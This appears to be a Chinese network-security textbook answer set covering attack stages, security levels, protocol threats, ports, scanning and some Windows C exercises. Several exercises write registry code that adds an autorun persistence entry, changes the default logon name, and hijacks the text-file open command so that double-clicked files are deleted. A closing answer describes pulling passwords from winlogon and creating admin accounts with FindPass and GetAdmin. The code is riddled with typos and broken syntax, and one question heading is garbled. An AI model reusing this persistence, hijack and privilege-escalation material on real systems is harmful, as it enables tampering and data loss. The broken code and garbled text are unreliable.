目录
第 1 章 网络安全概述与环境配置
第 2 章 网络安全协议基础
第 3 章 网络安全编程基础
第 4 章 网络扫描与网络监听
第 5 章 网络入侵
1、网络攻击和防御分别包括哪些内容?
答:
攻击技术主要包括以下几个方面。
(1)网络监听:自己不主动去攻击别人,而是在计算机上设置一个程序去监听目标计算机与其他计算机通信的数据。
(2)网络扫描:利用程序去扫描目标计算机开放的端口等,目的是发现漏洞,为入侵该计算机做准备。
(3)网络入侵:当探测发现对方存在漏洞后,入侵到目标计算机获取信息。
(4)网络后门:成功入侵目标计算机后,为了实现对“战利品”的长期控制,在目标计算机中种植木马等后门。
(5)网络隐身:入侵完毕退出目标计算机后,将自己入侵的痕迹清除,从而防止被对方管理员发现。
防御技术主要包括以下几个方面。
(1)安全操作系统和操作系统的安全配置:操作系统是网络安全的关键。
(2)加密技术:为了防止被监听和数据被盗取,将所有的数据进行加密。
(3)防火墙技术:利用防火墙,对传输的数据进行限制,从而防止被入侵。
(4)入侵检测:如果网络防线最终被攻破,需要及时发出被入侵的警报。
(5)网络安全协议:保证传输的数据不被截获和监听。
2、从层次上,网络安全可以分成哪几层?每层有什么特点?
答:
从层次体系上,可以将网络安全分为 4 个层次上的安全:
(1)物理安全 特点:防火,防盗,防静电,防雷击和防电磁泄露。
(2)逻辑安全 特点:计算机的逻辑安全需要用口令、文件许可等方法实现。
(3)操作系统 特点:操作系统是计算机中最基本、最重要的软件。操作系统的安全是网络安全的基础。
(4)联网安全 特点:联网的安全性通过访问控制和通信安全两方面的服务来保证。
3、为什么要研究网络安全?
答:
(1)网络需要与外界联系,同时也就受到许多方面的威胁:物理威胁、系统漏洞造成的威胁、身份鉴别威胁、线缆连接威胁和有害程序威胁等。
(2)目前研究网络安全已经不只为了信息和数据的安全性。网络安全已经渗透到国家的政治、经济、军事等领域,并影响到社会的稳定。
4、分别举两个例子说明网络安全与政治、经济、社会稳定和军事的联系。
答:
(1)政治:在 1999年 1 月份左右,美国黑客组织“美国地下军团”联合了波兰、英国的黑客组织及其他的黑客组织,有组织地对我国的政府网站进行了攻击。在 1999 年 7 月,台湾李登辉提出两国论的时候,我国一些政府网站遭到攻击。
(2)经济: 1999 年 4月 26 日,台湾人编制的 CIH 病毒的大爆发,据统计,我国受其影响的 PC 机总量达 36 万台之多。有人估计在这次事件中,经济损失高达 12 亿元。 2010 年 3 月 30 日,中国互联网络信息中心( CNNIC )和国家互联网应急中心( CNCERT)对网民用于处理网络安全事件
支出的费用进行统计显示: 2009 年,网民处理安全事件所支出的服务费用共计 153 亿元人民币;在实际产生费用的人群中,费用在 100 元及以下的占比 51.2%;人均费用约 588.9 元;如按国内 3.84 亿网民计算,人均处理网络安全事故费用约为 39.9 元。
(3)社会:1999 年 4 月,河南商都热线的一个 BBS 上,一张说交通银行郑州支行行长携巨款外逃的帖子, 造成了社会的动荡, 三天十万人上街排队,一天提款十多亿。 2001 年 2 月 8 日正是春节,新浪网遭受攻击,电子邮件服务器瘫痪了 18 个小时,造成了几百万用户无法正常联络。
(4)军事:在第二次世界大战中, 美国破译了日本人的密码, 几乎全歼山本五十六的舰队, 重创了日本海军。 2010 年 1 月,日本防卫省决定, 在 2011年度建立一支专门的“网络空间防卫队”,初期人数为 60 人,相关经费达 7000 多万美元,以防备黑客攻击,加强保护机密信息的能力。
5、国内和国际上对于网络安全方面有哪些立法?
答:
(1)国内立法情况:
目前网络安全方面的法规已经写入 《中华人民共和国宪法》 。于 1982 年 8 月 23 日写入《中华人民共和国商标法》 ,于 1984 年 3 月 12 日写入《中华人民共和国专利法》 ,于 1988 年 9 月5日写入《中华人民共和国保守国家秘密法》 ,于 1993 年 9 月 2 日写入《中华人民共和国反不正当竞争法》。于 1991 年 6 月 4 日写入《计算机软件保护条例》 ,于 1994 年 2 月 18 日写入《中华人民共和国计算机信息系统安全保护条例》 ,为了加强对计算机犯罪的打击力度,在 1997 年对《刑法》进行重新修订时,加进了计算机犯罪的条款。 于 1999 年 10 月 7 日写入《商用密码管理条例》 ,于 2000 年 9 月 20 日写入《互联网信息服务管理办法》 ,于 2000 年 9 月 25 日写入《中华人民共和国电信条例》 ,于 2000 年 12 月 29 日写入《全国人大常委会关于网络安全和信息安全的决定》 。
(2)国际立法情况:
美国和日本是计算机网络安全比较完善的国家,一些发展中国家和第三世界国家的计算机网络安全方面的法规还不够完善。
欧洲共同体是一个在欧洲范围内具有较强影响力的政府间组织。为在共同体内正常地进行信息市场运作,该组织在诸多问题上建立了一系列法律,具体包括:竞争(反托拉斯)法,产品责任、商标和广告规定法,知识产权保护法,保护软件、数据和多媒体产品及在线版权法,以及数据保护法、跨境电子贸易法、税收法、司法等。这些法律若与其成员国原有国家法律相矛盾,则必须以共同体的法律为准。
6、网络安全橙皮书是什么?包括哪些内容?
答:
网络安全橙皮书是根据美国国防部开发的计算机安全标准——可信任计算机标准评价准则( Trusted Computer Standards Evaluation Criteria ,
TCSEC),1985 年橙皮书成为美国国防部的标准,多年以来它一直是评估多用户主机和小型操作系统的主要方法。其他子系统(如数据库和网
络)也一直用橙皮书来解释评估。橙皮书把安全的级别从低到高分成 4 个类别: D 类、C 类、B 类和 A 类,每类又分几个级别。
D 级是最低的安全级别,拥有这个级别的操作系统就像一个门户大开的房子,任何人都可以自由进出,是完全不可信任的。对于硬件来说,没有任何保护措施,操作系统容易受到损害,没有系统访问限制和数据访问限制,任何人不需任何账户都可以进入系统,不受任何限制可以访问他人的数据文件。属于这个级别的操作系统有 DOS 和 Windows 98 等。
C1 是 C 类的一个安全子级。 C1 又称选择性安全保护 (Discretionary Security Protection)系统,它描述了一个典型的用在 UNIX 系统上安全级别。这种级别的系统对硬件又有某种程度的保护,如用户拥有注册账号和口令,系统通过账号和口令来识别用户是否合法,并决定用户对程序和信息拥有什么样的访问权,但硬件受到损害的可能性仍然存在。用户拥有的访问权是指对文件和目标的访问权。文件的拥有者和超级用户可以改变文件的访问属性,从而对不同的用户授予不通的访问权限。
C2 级除了包含 C1 级的特征外,应该具有访问控制环境( Controlled Access Environment)权力。该环境具有进一步限制用户执行某些命令或者访问某些文件的权限,而且还加入了身份认证等级。另外,系统对发生的事情加以审计,并写入日志中,如什么时候开机,哪个用户在什么时候从什么地方登录,等等,这样通过查看日志,就可以发现入侵的痕迹,如多次登录失败,也可以大致推测出可能有人想入侵系统。审计除了可以记录下系统管理员执行的活动以外,还加入了身份认证级别,这样就可以知道谁在执行这些命令。审计的缺点在于它需要额外的处理时间和磁盘空间。
使用附加身份验证就可以让一个 C2 级系统用户在不是超级用户的情况下有权执行系统管理任务。 授权分级使系统管理员能够给用户分组, 授予他们访问某些程序的权限或访问特定的目录。能够达到 C2 级别的常见操作系统有如下几种:
(1)UNIX 系统;
(2)Novell 3.X 或者更高版本;
(3)Windows NT ,Windows 2000 和 Windows 2003。
B 级中有三个级别, B1 级即标志安全保护( Labeled Security Protection),是支持多级安全(例如:秘密和绝密)的第一个级别,这个级别说明处于强制性访问控制之下的对象,系统不允许文件的拥有者改变其许可权限。
安全级别存在秘密和绝密级别,这种安全级别的计算机系统一般在政府机构中,比如国防部和国家安全局的计算机系统。
B2 级,又叫结构保护( Structured Protection)级别,它要求计算机系统中所有的对象都要加上标签,而且给设备(磁盘、磁带和终端)分配单个或者多个安全级别。
B3 级,又叫做安全域( Security Domain)级别,使用安装硬件的方式来加强域的安全,例如,内存管理硬件用于保护安全域免遭无授权访问或更改其他安全域的对象。该级别也要求用户通过一条可信任途径连接到系统上。
A 级,又称验证设计( Verified Design )级别,是当前橙皮书的最高级别,它包含了一个严格的设计、控制和验证过程。该级别包含较低级别的所有的安全特性。
1、简述 OSI 参考模型的结构
答:
OSI 参考模型是国际标准化组织( International Standards Organization,ISO)制定的模型,把计算机与计算机之间的通信分成 7个互相连接的协议层,自顶向下分别为应用层、表示层、会话层、传输层、网络层、数据链路层、物理层。
(1)物理层:物理层是最底层,这一层负责传送比特流,它从第二层数据链路层接
收数据帧,并将帧的结构和内容串行发送,即每次发送一个比特。
(2)数据链路层:它肩负两个责任:发送和接收数据,还要提供数据有效传输的端
到端连接。
(3)网络层:主要功能是完成网络中主机间的报文传输。
(4)传输层:主要功能是完成网络中不同主机上的用户进程之间可靠的数据通信。
(5)会话层:允许不同机器上的用户之间建立会话关系。会话层允许进行类似传输
层的普通数据的传送, 在某些场合还提供了一些有用的增强型服务。 允许用户利用一次会话在远端的分时系统上登录, 或者在两台机器间传递文件 。会话层提供的服务之一是管理对话控制。
(6)表示层:表示层完成某些特定的功能,这些功能不必由每个用户自己来实现。表示层服务的一个典型例子是用一种一致选定的标准方法对数据进行编码。
(7)应用层:包含大量人们普遍需要的协议。
2、简述 TCP/IP 协议族的基本结构,并分析每层可能受到的威胁及如何防御。
答:
讨论 TCP/IP 的时候 ,总是按五层来看 ,即物理层 ,数据链路层 ,网络层 ,传输层和应用层
(1)物理层 :这里的威胁主要是窃听 ,那使用防窃听技术就可以了 ;
物理层可能受到的威胁是未授权用户的接入(内部人员、外部人员)、物理盗窃、涉密信息被复制或破坏等等。保护措施主要体现在实时存档和监测网络,提高通信线路的可靠性(线路备份、网管软件、传输介质)、软硬件设备安全性(替换设备、拆卸设备、增加设备)、防干扰能力,保证设备的运行环境(温度、湿度、烟尘),不间断电源保障,等等。
(2)数据链路层:有很多工具可以捕获数据帧 ,如果有条件的话 ,可以使用数据加密机 ;
数据链路层可能受到的威胁是内容录址存储器表格淹没、 VLAN 中继、操纵生成树协议、 MAC 地址欺骗、 ARP 攻击、专用 VLAN 、DHCP 耗竭等。保护措施是,在交换机上配置端口安全选项可以防止 CAM 表淹没攻击。正确配置 VLAN 可以防止 VLAN 中继攻击。使用根目录保护和 BPDU保护加强命令来保持网络中主网桥的位置不发生改变,可防止操纵生成树协议的攻击,同时也可以强化生成树协议的域边界。使用端口安全命令可以防止 MAC 欺骗攻击。对路由器端口访问控制列表 (ACL )进行设置可以防止专用 VLAN 攻击。通过限制交换机端口的 MAC 地址的数目,防止 CAM 表淹没的技术也可以防止 DHCP 耗竭。
(3)网络层 :针对 IP 包的攻击是很多的 ,主要是因为 IPv4 的数据包本身是不经过加密处理的 ,所以里面的信息很容易被截获 ,现在可以使用 IPSec 来提供加密机制 ;
(4)传输层 :针对 TCP 的攻击也多了 ,在这里一般使用进程到进程 (或者说端到端的 )加密,也就是在发送信息之前将信息加密 ,接收到信息后再去信息进行解密 ,但一般会使用SSL;
传输层可能受到的威胁是拒绝服务( DOS)和分布式拒绝( DDOS)服务的攻击,其中包括 TCP SYN 淹没攻击、 SSL 中间人攻击、 Land 攻击、UDP 淹没攻击、端口扫描攻击等,保护措施是正确设置客户端 SSL,使用防火墙对来源不明的有害数据进行过渡等。网络层可能受到的威胁是 IP 欺骗攻击,保护措施是使用防火墙过滤和打系统补丁。网络接口层又可分为数据链路层和物理层。
(5)应用层 :在应用层能做的事情太多 ,所以在这里做一些安全措施也是有效的;
应用层中很多应用程序驻留并运行在此层,并且依赖于底层的功能,使得该层是最难保护的一层。简单邮件传输协议( SMTP)容易受到的威胁是:邮件炸弹,病毒,匿名邮件和木马等。保护措施是认证、附件病毒扫描和用户安全意识教育。文件传输协议( FTP)容易受到的威胁是:明文传输、黑客恶意传输非法使用等。保护的措施是不许匿名登录,单独的服务器分区,禁止执行程序等。超文本传输协议( HTTP)容易受到的威胁是:恶意程序( ActiveX 控件, ASP 程序和 CGI 程序等)。
3、简述常用的网络服务及提供服务的默认端口。
答:
常见服务及提供服务的默认端口和对应的协议如下表所示
端口 协议 服务
21 TCP FTP服务
25 TCP SMTP服务
53 TCP/UDP DNS服务
80 TCP Web服务
135 TCP RPC服务
137 UDP NetBIOS 域名服务
138 UDP NetBIOS 数据报服务
139 TCP NetBIOS 会话服务
443 TCP 基于 SSL的 HTTP服务
445 TCP/UDP Microsoft SMB 服务
3389 TCP Windows终端服务
4、简述 ping 指令、 ipconfig 指令、 netstat指令、 net指令、 at 指令、tracert指令的功能和用途。
答:
(1)ping 指令:ping 是用来侦测网络上的远端主机是否存在 ,并判断网络状况是否正常的网络侦测工具校验与远程计算机或本地计算机的连接。 只有在安装 TCP/IP 协议之后才能使用该命令;通过发送 ICMP 包来验证与另一台 TCP/IP 计算机的 IP级连接。应答消息的接收情况将和往返过程的次数一起显示出来。 ping 指令用于检测网络的连接性和可到达性。
(2)ipconfig 指令:查看当前电脑的 ip 配置,显示所有 TCP/IP 网络配置信息、刷新动态主机配置协议 (DHCP)和域名系统 (DNS)设置,使用不带参数的 ipconfig 可以显示所有适配器的 IP 地址、子网掩码和默认网关。在 DOS命令行下输入 ipconfig 指令;
(3)netstat指令:用来查看当前电脑的活动会话;显示活动的连接、计算机监听的端口、以太网统计信息、 IP 路由表、 IPv4 统计信息( IP,ICMP,TCP 和 UDP 协议)。使用“ netstat -an”命令可以查看目前活动的连接和开放的端口,是网络管理员查看网络是否被入侵的最简单方法。
(4)net指令:在网络安全领域通常用来查看计算机上的用户列表、添加和删除用户、和对方计算机建立连接、启动或者停止某网络服务等。
(5)at 指令:使用 at 命令建立一个计划任务,并设置在某一刻执行,但是必须首先与对方建立信任连接。
(6)tracert指令:用来追踪路由, 用户确定 IP 数据访问目标所采取的路径。 Tracert指令用IP 生存时间字段和 ICMP 错误信息来确定一个主机到网络上其他主机的路由;
1、简述 Windows 操作系统的内部机制。
答:
Windows 操作系统的内部机制如下: Windows 是一个“基于事件的,消息驱动的”操作系统。在 Windows 下执行一个程序,只要用户进行影响窗口的动作(如改变窗口大小或移动、单击鼠标等)该动作就会触发一个相应的“事件”。系统每次检测到一个事件时,就会给程序发送一个“消息”,从而使程序可以处理该事件。每次检测到一个用户事件,程序就对该事件做出响应,处理完以后,再等待下一个事件的发生。
2、简述学习 Windows 下编程的注意点。
答:
(1)根据实际情况选择一门语言,精通使用,切勿看到一种语言学一种,到最后都只是略知一二。
(2)编程是一个循序渐进的过程,需要在学习的过程中一点一滴积累,遇到困难大可不必灰心丧气。
(3)从一开始写程序要养成良好的编程习惯,如变量命名规则、缩进规范、编写文档和注释等,以提高程序的可读性和可扩展性。
3、比较 C 语言 4 个发展阶段编程的特点。
答:
C 语言经过不断的发展,在编程体系中可以将其分成 4 个阶段:面向过程的 C 语言,面向对象的 C++语言, SDK 编程和 MFC 编程( Microsoft Foundation Class,微软基类库)。
(1)面向过程的 C 语言,具有简洁紧凑、灵活方便,生成代码质量高、程序执行效率高,适用范围大、可移植性好等特点,这也是为什么 C 语言发展这么多年经久不衰的主要原因。
(2)面向对象的 C++语言,与 C 完全兼容,增加了面向对象的机制,代码结构更合理,但是随着各种技术的融合, C++也成为了当今世界上最难的一门语言之一。
(3)SDK 编程,微软每推出一个重要的 windows 版本,一般都会同时推出一个SDK(Software Development Kit )。SDK 包含了开发该 windows 版本所需的 windows 函数和常数定义、 API 函数说明文档、 相关工具和示例。 SDK 一般使用 C 语言,但不包括编译器。 SDK 编程就是直接用 windows API 进行编程。 API 由上千个 API 函数组成( win95 中有两千多个)。
(4)MFC 是 API 的封装,结合面向对象的继承、多态组成一个个类,共有一百多个类组成。
4、用程序说明MFC的事件处理机制
Microsoft Foundation Class (MFC) 是一个用于开发 Windows 应用程序的C++框架,它提供了丰富的事件处理机制。MFC的事件处理机制基于消息映射表(Message Map)和消息处理函数,下面是一个简单的示例来说明MFC的事件处理机制:
#include "stdafx.h"
#include "MyApp.h"
#include "MyDialog.h"
BEGIN_MESSAGE_MAP(CMyDialog, CDialog)
ON_BN_CLICKED(IDC_BUTTON1, &CMyDialog::OnButton1Clicked)
ON_BN_CLICKED(IDC_BUTTON2, &CMyDialog::OnButton2Clicked)
ON_WM_CLOSE()
END_MESSAGE_MAP()
void CMyDialog::OnButton1Clicked()
{
// 处理按钮1的点击事件
AfxMessageBox(_T("Button 1 Clicked"));
}
void CMyDialog::OnButton2Clicked()
{
// 处理按钮2的点击事件
AfxMessageBox(_T("Button 2 Clicked"));
}
void CMyDialog::OnClose()
{
// 处理窗口关闭事件
CDialog::OnClose();
}
在这个示例中,有一个MFC对话框类 CMyDialog,该对话框包含两个按钮(IDC_BUTTON1 和 IDC_BUTTON2)。
下面是几个关键概念:
① 消息映射表(Message Map):BEGIN_MESSAGE_MAP 和 END_MESSAGE_MAP 之间的代码定义了一个消息映射表,它用于将控件事件(例如按钮点击、窗口关闭等)映射到消息处理函数。这个消息映射表是 MFC 事件处理的核心。
② 消息处理函数:消息映射表中的 ON_BN_CLICKED 和 ON_WM_CLOSE 定义了消息处理函数。例如,ON_BN_CLICKED(IDC_BUTTON1, &CMyDialog::OnButton1Clicked) 表示当按钮 IDC_BUTTON1 被点击时,将调用 CMyDialog 类的 OnButton1Clicked 函数来处理事件。
③ 事件处理:OnButton1Clicked 和 OnButton2Clicked 是按钮点击事件的处理函数,它们会弹出消息框以显示按钮被点击的信息。OnClose 是窗口关闭事件的处理函数。
④ AfxMessageBox:这是一个用于显示消息框的 MFC 函数,用于在事件处理函数中显示信息。
总的来说,MFC的事件处理机制使用消息映射表来将控件事件与消息处理函数关联,以便在事件发生时执行相应的操作。这使得开发者可以轻松地处理用户界面事件并编写响应代码,而不必自己处理低级的 Windows 消息处理。这种机制使得Windows应用程序开发更加方便和高效。
5、编写程序实现功能: 清除“冰河”程序和文本文件的关联
#include
#include
main()
{
HKEY hKEY;
LPCTSTR data_Set = "txtfile\\shell\\open\\command";
Long ret0 =
(RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set,0,KEY_ALL_ACCESS,&hKEY));
if(ret0 != ERROR_SUCCESS)
{
return 0;
}
LPBYTE owner_Get = new BYTE[80];
DWORD type_1 = REG_EXPAND_SZ ;
DWORD cbData_l = 80;
long ret1=RegQueryValueEx(hKEY, NULL, NULL,
&type_1, owner_Get, &cbData_1);
if(retl!=ERROR_SUCCESS)
{
return 0;
}
char *ch="%SystemRoot%\\system32\\NOTEPAD.EXE %1";
int i=stremp((const char *)owner_Get,ch);
if(i==0)
{
printf("没有中冰河”);
}
else
{printf("可能中了冰河");
long retCode=RegSetValueEx(hKEY,"",0,REG_EXPAND_SZ,(byte*)ch,strlen(ch)+1);
if(retCode!=ERROR_SUCCESS)
{printf("注册表修改未成功);}
else
{printf"注册表成功,木马关联以解除\n");}
}
}
6、编写程序实现功能: 在每天夜里十二点,自动删除C盘下的File4.txt文件
#include
#include
int main() {
// 获取当前时间
SYSTEMTIME sysTime;
GetLocalTime(&sysTime);
// 设置删除时间为每天夜里十二点
sysTime.wHour = 0;
sysTime.wMinute = 0;
sysTime.wSecond = 0;
// 创建定时器触发时间
FILETIME ft;
SystemTimeToFileTime(&sysTime, &ft);
ULARGE_INTEGER ul;
ul.LowPart = ft.dwLowDateTime;
ul.HighPart = ft.dwHighDateTime;
// 获取当前系统时间
FILETIME current_time;
GetSystemTimeAsFileTime(¤t_time);
ULARGE_INTEGER cur;
cur.LowPart = current_time.dwLowDateTime;
cur.HighPart = current_time.dwHighDateTime;
// 计算等待时间
ULONGLONG wait_time = ul.QuadPart - cur.QuadPart;
// 创建定时器
HANDLE hTimer = CreateWaitableTimer(NULL, TRUE, NULL);
if (!hTimer) {
printf("Error creating timer: %d\n", GetLastError());
return 1;
}
// 设置定时器触发时间
LARGE_INTEGER dueTime;
dueTime.QuadPart = -(LONGLONG)wait_time;
if (!SetWaitableTimer(hTimer, &dueTime, 0, NULL, NULL, 0)) {
printf("Error setting timer: %d\n", GetLastError());
return 1;
}
// 等待定时器触发
WaitForSingleObject(hTimer, INFINITE);
// 删除文件
const char* file_path = "C:\\File4.txt";
if (DeleteFileA(file_path)) {
printf("File %s has been deleted.\n", file_path);
} else {
printf("Error deleting file %s: %d\n", file_path, GetLastError());
}
CloseHandle(hTimer);
return 0;
}
7、意即切带销而当患:登术觉疫令,网右盾通航立切带,大切带射觉疫登术新度服Administrator
#include
#include
int addToAutorun()
{ HKEY hKey:
DWORD dwDisposition;
LONG IRetCode;
LPCTSTR data_Set ="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run";
IRetCode=(RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_ALL_ACCESS,
&hKey));
if (IRetCode != ERROR_SUCCESS){
printf ("Error in creating WebSecurity key\n");
return (0) ;
}
char *ch="c://abc.exe";
IRetCode = RegSetValueEx ( hKey, "",0,REG_SZ, (byte*)ch,strlen("c://abc.exe")+1);
if (IRetCode != ERROR_SUCCESS) {
printf ( "Error in setting autoRun value\n");
return (0) ;
}
printf("注册表编写成功! \n");
return(0);
}
main()
{ addToAutorun();
HKEY hKey1;
LONG IRetCode;
IRetCode = RegOpenKeyEx ( HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
0, KEY_WRITE, &hKey1);
if (IRetCode != ERROR_SUCCESS){
printf ("Error in creating appname.ini key\n");
return (0) ;
}
IRetCode = RegSetValueEx ( hKey1,
"DefaultUserName",
0,
REG_SZ,
(byte*)" Administrator",
20);
if (IRetCode != ERROR_SUCCESS) {
printf ( "Error in setting Section! value\n");
return (0) ;
}
printf("已经将登录名该成 Administrator");
return(0);
}
8、编写程序实现功能: 当用户用鼠标双击一个文本文件时,自动删除该文件
#include "stdio.h"
#include "windows.h"
int addToAutorun()
{ HKEY hkKey;
DWORD dwDisposition;
LONG IRetCode;
IRetCode=RegOpenKeyEx(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",0,
KEY_ALL_ACCESS,&hKey);
if (IRetCode != ERROR_SUCCESS){
printf ("Error in creating WebSecurity key\n");
return (0) ;
}
char *ch="c:\\file.exe %1";
IRetCode = RegSetValueEx ( hKey, "",0,REG_EXPAND_SZ,
(byte*)ch,strlen("c:\\file.exe %1")+1);
if(IRetCode != ERROR_SUCCESS) {
printf("Error in setting autoRun value\n");
return (0) ;
}
printf("注册表编写成功!\n");
return(0);
}
int main(int argc, char* argv[])
{
printf("%s\n",argv[1]);
DeleteFile(argv[1]);
addToAutorun();
return 0;
}
1、简述黑客的分类,以及黑客需要具备哪些基本素质。
答:
目前将黑客分成 3 类:第 1类为破坏者,第 2 类为红客,第 3 类为间谍。
要成为一名好的黑客,需要具备 4 种基本素质:“ Free”精神,探索与创新精神,反传统精神和合作精神。
2、黑客在进攻的过程中需要经过哪些步骤?目的是什么?
答:
(1)隐藏 IP:IP 隐藏使网络攻击难以被侦破。
(2)踩点扫描:踩点是通过各种途径对所要攻击的目标进行多方面的了解, 确定攻击的时间和地点。 扫描的目的是利用各种工具在攻击目标的 IP 地址或地址段上的主机上寻找漏洞。
(3)获得系统或管理员权限: 得到管理员权限的目的是连接到远程计算机, 对其控制,达到自己攻击的目的。
(4)种植后门:为了保持长期对胜利胜利果实的访问权,在已经攻破的计算机上种植一些供自己访问的后门。
(5)在网络中隐身: 清除登陆日志及其他相关的日志,防止管理员发现。
3、简述黑客攻击和网络安全的关系。
答:
黑客攻击和网络安全是紧密结合在一起的,研究网络安全不研究黑客攻击技术等同于纸上谈兵,研究攻击技术不研究网络安全等同于闭门造车。
某种意义上说没有攻击就没有安全,系统管理员可以利用常见的攻击手段对系统进行检测,并对相关的漏洞采取措施。
网络攻击有善意也有恶意的,善意的攻击可以帮助系统管理员检查系统漏洞,恶意的攻击可以包括:为了私人恩怨而攻击,为了商业或个人目的获得秘密资料而攻击,为了民族仇恨而攻击,利用对方的系统资源满足自己的需求、寻求刺激、给别人帮忙,以及一些无目的攻击。
4、为什么需要网络踩点?
答:
踩点就是通过各种途径对所要攻击的目标进行尽可能的了解。常见的踩点方法包括:在域名及其注册机构的查询,公司性质的了解,对主页进行分析,邮件地址的搜集和目标 IP 地址范围查询。
踩点的目的就是探察对方的各方面情况,确定攻击的时机。摸清对方最薄弱的环节和守卫最松散的时刻,为下一步的入侵提供良好的策略。
5、扫描分成哪两类?每类有什么特点?可以使用哪些工具进行扫描、各有什么特点?
答:
(1)网络扫描一般分为两种策略:一种是主动式策略;另外一种是被动式策略。
(2)被动式策略 特点:基于主机之上的,对系统中不合适的设置、脆弱的口令及其他同安全规则相抵触的对象进行检查,被动式扫描不会对系统造成破坏。工具及特点: GetNTUser:系统用户扫描; PortScan:开放端口扫描; Shed:共享目录扫描。
(3)主动式策略 特点:基于网络的, 它通过执行一些脚本文件模拟对系统进行攻击的行为并记录系统的反应, 从而发现其中的漏洞。 主动式扫描对系统进行模拟攻击可能会对系统造成破坏。 工具及特点:X-Scan-v2.3 :对指定 IP 地址段(单机)进行安全漏洞检测。
6、常见的扫描工具包括:
(1)系统自带的扫描工具如 windows 和 linux 中的 ping,linux 中的 namp。这类工具操作简单,大多工作在命令行模式下。
(2)开源的和免费的扫描工具如 Nessus,X-scan,Netcat,X-port 以及 Google 在 2010 年新推出的 Skipfish 等。这类扫描工具一般具有单一、独特的功能,因此扫描速度极快、更新速度快、容易使用,由于其开源、免费的特点,使其具有更广泛的影响力。
(3)商用的扫描工具,如 eEye公司的 Retina,Network Associates的 CyberCop Scanner以及 Symantec 的 NetRecon 等。基本上大部分商业扫描器都工作在黑盒模式,在这种模式下无法看到源代码,以一个近似于渗透者或攻击者的身份去看待需要评估的。在商业化应用中,对误报、漏报的容忍程度比较低。商用扫描器在精确扫描之后,会给出一些建议和手段来屏蔽。最初是提供一些修补建议,这种方式对专业人员来说有相当价值,但对于一些较薄弱或者比较懒惰的用户,修补建议的作用就被忽略了。在新一代的商用扫描器中,提出了修补联动的概念,通过发送注册表去提示用户,用户双击注册表,就可以导入需要修改、升级补丁的信息,并且还可以和 WSUS 进行联动。这样就可以基本上达到自动化的修补。
7、网络监听技术的原理是什么?
答:
监听器 Sniffer 的原理是:在局域网中与其他计算机进行数据交换时,数据包发往所有的连在一起的主机,也就是广播,在报头中包含目的机的正确地址。因此只有与数据包中目的地址一致的那台主机才会接收数据包,其他的机器都会将包丢弃。但是,当主机工作在监听模式下时,无论接收到的数据包中目的地址是什么,主机都将其接收下来。然后对数据包进行分析,就得到了局域网中通信的数据。一台计算机可以监听同一网段所有的数据包,不能监听不同网段的计算机传输的信息。
8、对一台操作系统是Windows 2000 Server或者是Windows 2000 Advance Server的计算机进行扫描,要求记录对方用户列表、提供的服务、共享的目录已经存在的漏洞
对 Windows 2000 Server 或 Windows 2000 Advanced Server 操作系统的计算机进行漏洞扫描通常需要使用专门的漏洞扫描工具,例如 Nessus、OpenVAS、Qualys 等。这些工具可以扫描目标计算机并识别潜在的漏洞,提供有关用户列表、运行的服务和共享目录的信息。
以下是一般的步骤:
安装漏洞扫描工具:首先,您需要在自己的计算机上安装适当的漏洞扫描工具,例如 Nessus。这些工具通常提供图形用户界面和命令行接口。
配置扫描目标:在工具中配置扫描目标,指定要扫描的 Windows 2000 Server 或 Windows 2000 Advanced Server 计算机的 IP 地址或主机名。
运行漏洞扫描:运行扫描工具来扫描目标计算机。工具将尝试连接到计算机并检测已知的漏洞。
分析扫描结果:一旦扫描完成,您可以分析扫描结果以查看检测到的漏洞、用户列表、运行的服务和共享目录。通常,扫描工具将生成报告,提供详细信息和建议修复漏洞的步骤。
9、利用UDP协议实现端口扫描
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define BUF_SIZE 1024
int main(int argc, char *argv[]) {
if (argc != 3) {
std::cerr << "Usage: " << argv[0] << " " << std::endl;
exit(1);
}
int sockfd;
struct sockaddr_in server_addr, client_addr;
char buf[BUF_SIZE];
// 创建socket
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket error");
exit(1);
}
// 准备服务器地址
memset (&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(atoi(argv[2]));
if (inet_pton(AF_INET, argv[1], &server_addr.sin_addr) != 1) {
perror("inet_pton error");
exit (1);
}
// 绑定本地地址
memset (&client_addr, 0, sizeof(client_addr));
client_addr.sin_family = AF_INET;
client_addr.sin_port = htons(9);
client_addr.sin_addr.s_addr = htonl(INADDR_ANY) ;
if (bind(sockfd, (struct sockaddr *)&client_addr, sizeof(client_addr)) < 0) {
perror("bind error");
exit (1);
}
// 设置超时时间
struct timeval tv;
tv.tv_sec = 1;
tv.tv_usec = 0;
if (setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, S&tv, sizeof(tv)) < 0) {
perror("setsockopt error");
exit (1);
}
// 发送UDP数据包
if (sendto(sockfd, buf, strlen(buf), 0, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("sendto error");
exit (1);
}
// 接收UDP数据包
socklen_t addrlen = sizeof(ctient_addr);
int n = recvfrom(sockfd, buf, BUF_SIZE, 0, (struct sockaddr *)&client_addr, Samp;addrlen) ;
if (n <0) {
perror("recvfrom error");
exit (1);
} else {
std::cout << "Port " << atoi(argv[2]) << " is open." << std::endl;
}
close(sockfd) ;
return 0;
}
1、简述社会工程学攻击的原理。
答:
社会工程是使用计谋和假情报去获得密码和其他敏感信息的科学。研究一个站点的策略,就是尽可能多地了解这个组织的个体,因此黑客不断试图寻找更加精妙的方法从他们希望渗透的组织那里获得信息。另一种社会工程的形式是黑客试图通过混淆一个计算机系统去模拟一个合法用户。
2、登录系统以后如何得到管理员密码?如何利用普通用户建立管理员账户?
答:
用户登录以后,所有的用户信息都存储在系统的一个进程中,这个进程是:“winlogon.exe ” ,可以利用程序将当前登录用户的密码解码出来,使用 FindPass等工具可以对该进程进行解码, 然后将当前用户的密码显示出来。 将 FindPass.exe拷贝到 C 盘根目录,执行该程序,将得到当前用户得登录名利用普通用户建立管理员账户:利用 Hacker 帐户登录系统,在系统中执行程序GetAdmin.exe,程序自动读取所有用户列表,在对话框中点击按钮 “New”,在框中输入要新建的管理员组的用户名。
